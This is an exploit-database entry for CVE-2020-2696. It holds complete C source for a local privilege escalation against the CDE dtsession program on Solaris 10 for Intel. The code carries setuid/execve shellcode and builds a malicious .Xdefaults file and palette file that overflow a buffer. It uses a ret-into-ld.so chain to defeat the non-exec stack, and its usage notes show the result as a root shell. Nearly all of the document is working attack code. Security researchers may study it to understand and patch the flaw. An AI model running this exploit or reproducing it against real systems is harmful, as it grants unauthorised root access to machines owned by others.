SunOS 5.10 Generic_147148-26 Local Privilege Escalation

2020.01.25
Credit: Marco Ivaldi
Risk: High
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 7.2/10
Impact Subscore: 10/10
Exploitability Subscore: 3.9/10
Exploit range: Local
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

# Exploit: SunOS 5.10 Generic_147148-26 - Local Privilege Escalation # Date: 2020-01-15 # Author: Marco Ivaldi # Vendor: www.oracle.com # Software Link: https://www.oracle.com/technetwork/server-storage/solaris10/downloads/latest-release/index.html # CVE: CVE-2020-2696 /* * raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel * Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info> * * A buffer overflow in the CheckMonitor() function in the Common Desktop * Environment 2.3.1 and earlier and 1.6 and earlier, as distributed with * Oracle Solaris 10 1/13 (Update 11) and earlier, allows local users to gain * root privileges via a long palette name passed to dtsession in a malicious * .Xdefaults file (CVE-2020-2696). * * "I always loved Sun because it was so easy to own. Now with Solaris 11 I * don't like it anymore." -- ~B. * * This exploit uses the ret-into-ld.so technique to bypass the non-exec stack * protection. In case troubles arise with NULL-bytes inside the ld.so.1 memory * space, try returning to sprintf() instead of strcpy(). * * I haven't written a Solaris/SPARC version because I don't have a SPARC box * on which Solaris 10 can run. If anybody is kind enough to give me access to * such a box, I'd be happy to port my exploit to Solaris/SPARC as well. * * Usage: * $ gcc raptor_dtsession_ipa.c -o raptor_dtsession_ipa -Wall * [on your xserver: disable the access control] * $ ./raptor_dtsession_ipa 192.168.1.1:0 * [...] * # id * uid=0(root) gid=1(other) * # * * Tested on: * SunOS 5.10 Generic_147148-26 i86pc i386 i86pc (Solaris 10 1/13) * [previous Solaris versions are also likely vulnerable] */ #include <fcntl.h> #include <link.h> #include <procfs.h> #include <stdio.h> #include <stdlib.h> #include <strings.h> #include <unistd.h> #include <sys/stat.h> #include <sys/systeminfo.h> #include <sys/types.h> #define INFO1 "raptor_dtsession_ipa.c - CDE dtsession LPE for Solaris/Intel" #define INFO2 "Copyright (c) 2019-2020 Marco Ivaldi <raptor@0xdeadbeef.info>" #define VULN "/usr/dt/bin/dtsession" // the vulnerable program #define BUFSIZE 256 // size of the palette name #define PADDING 3 // padding in the palette name #define PAYSIZE 1024 // size of the payload #define OFFSET env_len / 2 // offset to the shellcode char sc[] = /* Solaris/x86 shellcode (8 + 8 + 27 = 43 bytes) */ /* double setuid() */ "\x31\xc0\x50\x50\xb0\x17\xcd\x91" "\x31\xc0\x50\x50\xb0\x17\xcd\x91" /* execve() */ "\x31\xc0\x50\x68/ksh\x68/bin" "\x89\xe3\x50\x53\x89\xe2\x50" "\x52\x53\xb0\x3b\x50\xcd\x91"; /* globals */ char *env[256]; int env_pos = 0, env_len = 0; /* prototypes */ int add_env(char *string); void check_zero(int addr, char *pattern); int search_ldso(char *sym); int search_rwx_mem(void); void set_val(char *buf, int pos, int val); /* * main() */ int main(int argc, char **argv) { char buf[BUFSIZE], payload[PAYSIZE]; char platform[256], release[256], display[256]; int i, payaddr; char *arg[2] = {"foo", NULL}; int sb = ((int)argv[0] | 0xfff); /* stack base */ int ret = search_ldso("strcpy"); /* or sprintf */ int rwx_mem = search_rwx_mem(); /* rwx memory */ FILE *fp; char palette_file[BUFSIZE + 18]; /* print exploit information */ fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); /* read command line */ if (argc != 2) { fprintf(stderr, "usage: %s xserver:display\n\n", argv[0]); exit(1); } sprintf(display, "DISPLAY=%s", argv[1]); /* prepare the payload (NOPs suck, but I'm too old for VOODOO stuff) */ memset(payload, '\x90', PAYSIZE); payload[PAYSIZE - 1] = 0x0; memcpy(&payload[PAYSIZE - sizeof(sc)], sc, sizeof(sc)); /* fill the envp, keeping padding */ add_env(payload); add_env(display); add_env("HOME=/tmp"); add_env(NULL); /* calculate the payload address */ payaddr = sb - OFFSET; /* prepare the evil palette name */ memset(buf, 'A', sizeof(buf)); buf[sizeof(buf) - 1] = 0x0; /* fill with function address in ld.so.1, saved eip, and arguments */ for (i = PADDING; i < BUFSIZE - 16; i += 4) { set_val(buf, i, ret); /* strcpy */ set_val(buf, i += 4, rwx_mem); /* saved eip */ set_val(buf, i += 4, rwx_mem); /* 1st argument */ set_val(buf, i += 4, payaddr); /* 2nd argument */ } /* prepare the evil .Xdefaults file */ fp = fopen("/tmp/.Xdefaults", "w"); if (!fp) { perror("error creating .Xdefaults file"); exit(1); } fprintf(fp, "*0*ColorPalette: %s\n", buf); // or *0*MonochromePalette fclose(fp); /* prepare the evil palette file (badchars currently not handled) */ mkdir("/tmp/.dt", 0755); mkdir("/tmp/.dt/palettes", 0755); sprintf(palette_file, "/tmp/.dt/palettes/%s", buf); fp = fopen(palette_file, "w"); if (!fp) { perror("error creating palette file"); exit(1); } fprintf(fp, "Black\n"); fclose(fp); /* print some output */ sysinfo(SI_PLATFORM, platform, sizeof(platform) - 1); sysinfo(SI_RELEASE, release, sizeof(release) - 1); fprintf(stderr, "Using SI_PLATFORM\t: %s (%s)\n", platform, release); fprintf(stderr, "Using stack base\t: 0x%p\n", (void *)sb); fprintf(stderr, "Using rwx_mem address\t: 0x%p\n", (void *)rwx_mem); fprintf(stderr, "Using payload address\t: 0x%p\n", (void *)payaddr); fprintf(stderr, "Using strcpy() address\t: 0x%p\n\n", (void *)ret); /* run the vulnerable program */ execve(VULN, arg, env); perror("execve"); exit(0); } /* * add_env(): add a variable to envp and pad if needed */ int add_env(char *string) { int i; /* null termination */ if (!string) { env[env_pos] = NULL; return env_len; } /* add the variable to envp */ env[env_pos] = string; env_len += strlen(string) + 1; env_pos++; /* pad the envp using zeroes */ if ((strlen(string) + 1) % 4) for (i = 0; i < (4 - ((strlen(string)+1)%4)); i++, env_pos++) { env[env_pos] = string + strlen(string); env_len++; } return env_len; } /* * check_zero(): check an address for the presence of a 0x00 */ void check_zero(int addr, char *pattern) { if (!(addr & 0xff) || !(addr & 0xff00) || !(addr & 0xff0000) || !(addr & 0xff000000)) { fprintf(stderr, "Error: %s contains a 0x00!\n", pattern); exit(1); } } /* * search_ldso(): search for a symbol inside ld.so.1 */ int search_ldso(char *sym) { int addr; void *handle; Link_map *lm; /* open the executable object file */ if ((handle = dlmopen(LM_ID_LDSO, NULL, RTLD_LAZY)) == NULL) { perror("dlopen"); exit(1); } /* get dynamic load information */ if ((dlinfo(handle, RTLD_DI_LINKMAP, &lm)) == -1) { perror("dlinfo"); exit(1); } /* search for the address of the symbol */ if ((addr = (int)dlsym(handle, sym)) == NULL) { fprintf(stderr, "sorry, function %s() not found\n", sym); exit(1); } /* close the executable object file */ dlclose(handle); check_zero(addr - 4, sym); return addr; } /* * search_rwx_mem(): search for an RWX memory segment valid for all * programs (typically, /usr/lib/ld.so.1) using the proc filesystem */ int search_rwx_mem(void) { int fd; char tmp[16]; prmap_t map; int addr = 0, addr_old; /* open the proc filesystem */ sprintf(tmp,"/proc/%d/map", (int)getpid()); if ((fd = open(tmp, O_RDONLY)) < 0) { fprintf(stderr, "can't open %s\n", tmp); exit(1); } /* search for the last RWX memory segment before stack (last - 1) */ while (read(fd, &map, sizeof(map))) if (map.pr_vaddr) if (map.pr_mflags & (MA_READ | MA_WRITE | MA_EXEC)) { addr_old = addr; addr = map.pr_vaddr; } close(fd); /* add 4 to the exact address NULL bytes */ if (!(addr_old & 0xff)) addr_old |= 0x04; if (!(addr_old & 0xff00)) addr_old |= 0x0400; return addr_old; } /* * set_val(): copy a dword inside a buffer (little endian) */ void set_val(char *buf, int pos, int val) { buf[pos] = (val & 0x000000ff); buf[pos + 1] = (val & 0x0000ff00) >> 8; buf[pos + 2] = (val & 0x00ff0000) >> 16; buf[pos + 3] = (val & 0xff000000) >> 24; }


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